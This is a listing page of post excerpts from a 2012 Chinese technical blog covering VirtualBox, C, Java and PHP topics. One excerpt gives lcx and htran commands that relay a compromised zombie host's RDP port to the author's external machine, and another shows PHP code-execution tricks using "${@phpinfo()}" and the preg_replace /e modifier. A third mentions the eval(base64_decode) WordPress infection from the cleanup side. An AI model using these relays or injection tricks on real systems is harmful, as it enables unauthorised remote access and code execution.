摘要: 前言:VirtualBox版本眾多網路上的教學,大部分都是舊版的。自己試了很久終於弄出點東西來。筆記下來怕到時候忘了。請先看[轉]快速理解VirtualBox的四种网络连接方式環境:VirtualBox version:4.2.4Host:windows 7 (固定ip)Guest:windows ... 阅读全文
posted @ 2012-12-22 13:24 jeremyatchina 阅读(1226) 评论(2) 推荐(0) 编辑
摘要: 1 #include<stdio.h> 2 #include<stdlib.h> 3 main() 4 { 5 float x; 6 7 x=-1; 8 int i; 9 for (i=3;i>=0;i--)10 {11 printf("%x",((unsigned char*)&x)[i]);12 }13 14 }或者int i;union { float num; unsigned char n[4]; } q;q.num=-1;for(i=3;i>=0;i--) printf("%x ", q.n[i]) 阅读全文
posted @ 2012-12-16 19:17 jeremyatchina 阅读(237) 评论(0) 推荐(0) 编辑
摘要: 另外搭配以下兩本軟體工程師面試聖經:Programming Interviews Exposed: Secrets to Landing Your Next Job(初級)Cracking the Coding Interview: 150 Programming Questions and Solutions (中級)The Google Resume: How to Prepare for a Career and Land a Job at Apple, Microsoft, Google, or any Top Tech Company面試問題:大部分都是他們會介紹一下他們自己然後請你 阅读全文
posted @ 2012-11-26 23:53 jeremyatchina 阅读(185) 评论(0) 推荐(0) 编辑
摘要: 由于某度众所周知的举动,让我搬离写了5年的渣度空间,准备把技术性的文章定在CSDN了。这些都是文章备份。勿怪。。鉴于最近有些抓取机器和抄袭者,把标题的【原】字都复制,我不得不声明:本文为 yukon12345原创,转载请注明出处http://blog.csdn.net/yukon12345cmd下1.’javac‘不是内部或外部命令,也不是可运行的程序我碰到的算是比较神奇的一种。因为明明path设置了,java回车 也成功出现一堆帮助,但javac就是死活失败解决方法:cmd下进入jdk的bin目录,再执行一次javac。之后任何地方执行javac都成功了。。(无语)2.eclipse导出ja 阅读全文
posted @ 2012-11-21 12:53 jeremyatchina 阅读(1927) 评论(0) 推荐(0) 编辑
摘要: 本机:lcx -listen 51 2008把 51port 轉到 2008 port肉雞:lcx -slave 你的ip[外網] 51 127.0.0.1 3389 把肉雞的3389port連至你的51 port然后在本机連接127.0.0.1:2008就是肉雞的3389端口!P.S:為何還要轉到2008 port ? 網路上普遍教學都lcx -listen 51 3389 ,本端連127.0.0.1:3389 這我試過無法連接,需再轉至3389以外的port. e.g : 2008 才可以用----htran.exe -install //安装socket5服务htran -start.. 阅读全文
posted @ 2012-11-11 16:23 jeremyatchina 阅读(432) 评论(0) 推荐(0) 编辑
摘要: String value = "this is a book!\n\nHello,world."; String[] paras = value.split("\n\n|,| |!|\\."); for(int i=0;i<paras.length;i++) System.out.println(paras[i]);有人可能會想到java.util.StringTokenizer,基本上API中明確的表示它已經是遺產類別(Legacy class)了,存在的原因是為了舊程式的相容性,不建議在您撰寫新程式時使用,使用split()來代替會是個好的方案 阅读全文
posted @ 2012-11-05 22:42 jeremyatchina 阅读(191) 评论(0) 推荐(0) 编辑
摘要: Host os :winodwsGuest os :Linux 有些版本是掛載不起來的。以下設定適用於各版本的Linux Distribution,兩個共用資料夾名稱要一致。sh ./VBoxLinuxAdditions.runmkdir /mnt/Share (in Guest os) sudo mount.vboxsfShare/mnt/Share紅色「Share」為 VirtualBox 共用資料夾名稱 (in Host os)藍色「/mnt/Share」為自己建立要掛載的目錄To mount this every time linux boots, edit the file... 阅读全文
posted @ 2012-11-05 22:17 jeremyatchina 阅读(431) 评论(1) 推荐(0) 编辑
摘要: Yesterday, almost all installations on our test server had been infected by infamous “<?phpeval(base64_decode(…)) ?>” code injection.We have more than 600 demo sites on our test server and cleaning them using any WordPress plugin out there was simply out of the question! Can you imagine loggin 阅读全文
posted @ 2012-11-01 22:46 jeremyatchina 阅读(306) 评论(0) 推荐(0) 编辑
摘要: <? $_['f']="${@phpinfo()}"; //用"才可以執行,'不行?>demo preg_replace();<?php $c = "2 4 8"; //echo ($c); //display:2 4 8 $cp = '/(\d)\s(\d)\s(\d)/e'; //pattern $cr = "'\\3*\\2+\\1='.(('\\3')-('\\2')+('\\1'))"; //r 阅读全文
posted @ 2012-10-30 21:28 jeremyatchina 阅读(508) 评论(0) 推荐(0) 编辑
摘要: 。前言這是二年級Programming Languages(語言結構)課程中有的內容,教導我們如何斷定一種複雜型態的方法,不過就在經過一年後的最近,我已經忘的差不多了,,在這上面的判斷上又錯誤了,而且還沒有頭緒處理,只能try on'error的將我要的部分測出來用。。問題請問下列的兩種宣告各為 Array of pointer 與 Pointer to Array的哪一種?int (*ptr)[10]; // no.1int *ptr[10]; // no.2。解題方式 - 非正規方法依照優先權來判斷,優先權:()等於[]大於*int (*ptr)[10]; // no.1小括號() 阅读全文
posted @ 2012-10-29 11:57 jeremyatchina 阅读(321) 评论(2) 推荐(0) 编辑